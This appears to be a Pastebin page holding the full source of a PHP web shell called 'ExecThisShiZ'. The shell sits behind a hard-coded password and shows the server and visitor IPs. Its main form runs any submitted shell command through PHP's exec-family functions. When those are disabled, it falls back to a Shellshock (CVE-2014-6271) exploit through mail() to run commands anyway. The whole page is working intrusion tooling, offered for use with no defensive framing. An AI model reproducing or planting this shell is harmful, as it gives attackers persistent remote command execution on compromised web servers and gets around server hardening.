Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- session_start();
- set_time_limit(0);
- $pass = $_POST['pass'];
- $password = "an0nguy"; # Password
- $action = $_POST['action'];
- $host = $_SERVER["HTTP_HOST"];
- $b0x = gethostbyname($_SERVER["HTTP_HOST"]);
- $ip = $_SERVER["REMOTE_ADDR"];
- $login = true;
- if($pass == $password)
- {$_SESSION['AG'] = "$pass";}
- if($login == true)
- {if(!isset($_SESSION['AG']) or $_SESSION['AG'] != $password)
- # Login Page
- {die("<head>
- <title>~ ExecThisShiZ ~</title>
- <style>
- input[type='submit']:hover {background-color:#00ff00;color:#000;}
- input {margin:0;color:#00ff00;background-color:#000000;border:1px solid #00ff00;}
- #border {border-radius: 25px;border: 2px solid #8AC007;width: 300px;height: 80px;}
- </style>
- </head>
- <body bgcolor=black>
- <center>
- <form method=post>
- <font size=7 face=Monospace color=white>~ <font color=red>Exec<font color=white>ThisShiZ <font color=white>~<br><br>
- <font color=lime size=4>Pass <font color=white>~ <input type=password name=pass size=30><font color=white> ~ <input type=submit value='>>'><br><br>
- </form><br><div id=border align=center>
- <font size=4 face=Monospace color=lime><b>Host <font color=white>~ </b>".$host."<br>
- <font color=lime><b>b0x's IP <font color=white>~ </b>".$b0x."<br>
- <font color=lime><b>Your IP <font color=white>~ </b>".$ip."
- </div></center>
- </body>");}}
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>~ ExecThisShiZ ~</title>
- <style type="text/css">
- body {background-color: black;}
- pre {color: lime;}
- #cat {color: white;}
- input {margin:0;color:#00ff00;background-color:#000000;border:1px solid #00ff00;}
- input [type='submit']:hover {background-color:#00ff00;color:#000;}
- </style>
- </head>
- <body>
- <center>
- <pre>
- ______ _______ _ _ _____ _ _ ______
- | ____| |__ __| | (_) / ____| | (_)___ /
- | |__ __ _____ ___| | | |__ _ ___| (___ | |__ _ / /
- | __| \ \/ / _ \/ __| | | '_ \| / __|\___ \| '_ \| | / /
- | |____ > < __/ (__| | | | | | \__ \____) | | | | |/ /__
- |______/_/\_\___|\___|_| |_| |_|_|___/_____/|_| |_|_/_____|
- <font color="white"> ~ Coded By <font color="lime">AnonGuy <font color="red">an0nguy<font color="yellow">@<font color="white">protonmail.ch
- </font></font></font></font></font></pre>
- <form method="POST">
- <input type="text" name="exec" placeholder="uname -a" />
- <font face="Monospace" color="yellow"> ~ </font>
- <input type="submit" name="submit" value=">>" />
- </form>
- <?php
- error_reporting(0);
- $exec = $_POST["exec"];
- $submit = $_POST["submit"];
- function ExecThisShiZ($input)
- {
- $result = "";
- if (function_exists('exec')) {
- @exec($input, $result);
- $result = join("\n", $result);
- } elseif (function_exists('passthru')) {
- ob_start();
- passthru($input);
- $result = ob_get_clean();
- } elseif (function_exists('system')) {
- ob_start();
- system($input);
- $result = ob_get_clean();
- } elseif (function_exists('shell_exec')) {
- $result = shell_exec($input);
- } elseif (is_resource($f = popen($input, "r"))) {
- $result = "";
- while (!@feof($f))
- $result .= fread($f, 1024);
- pclose($f);
- } else {
- $result = sh0ck($input);
- }
- return $result;
- }
- function sh0ck($cmd) # Execute a command via CVE-2014-6271 @ mail.c:283 ~ https://www.exploit-db.com/exploits/35146/
- {
- if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
- $tmp = tempnam(".", "data");
- putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
- mail("a@127.0.0.1", "", "", "", "-bv");
- } else
- return "";
- $output = @file_get_contents($tmp);
- @unlink($tmp);
- if ($output != "")
- return $output;
- else
- return "";
- }
- if (isset($submit, $exec) && $exec === "LogMeOut") {
- echo '<script type="text/javascript">document.body.innerHTML = "<center><img src=http://media.giphy.com/media/pSK5T3pZK13ZS/giphy.gif><br><font face=Monospace size=5 color=white>:)</font></center>";</script>';
- unset($_SESSION['AG']);
- }
- elseif (isset($submit, $exec) && preg_match('/cat/', $exec)) {
- echo '<pre id="cat">' . ExecThisShiZ($exec) . '</pre>';
- } elseif (isset($submit, $exec)) {
- echo '<br><font color="white" face="Monospace">' . ExecThisShiZ($exec) . '</font>';
- } elseif (isset($submit) && !isset($exec)) {
- echo '<br><font color="white" face="Monospace">Err, You kiddin me? -___- You wanna play the guessin\' game? Fuck off.</font>';
- }
- ?>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement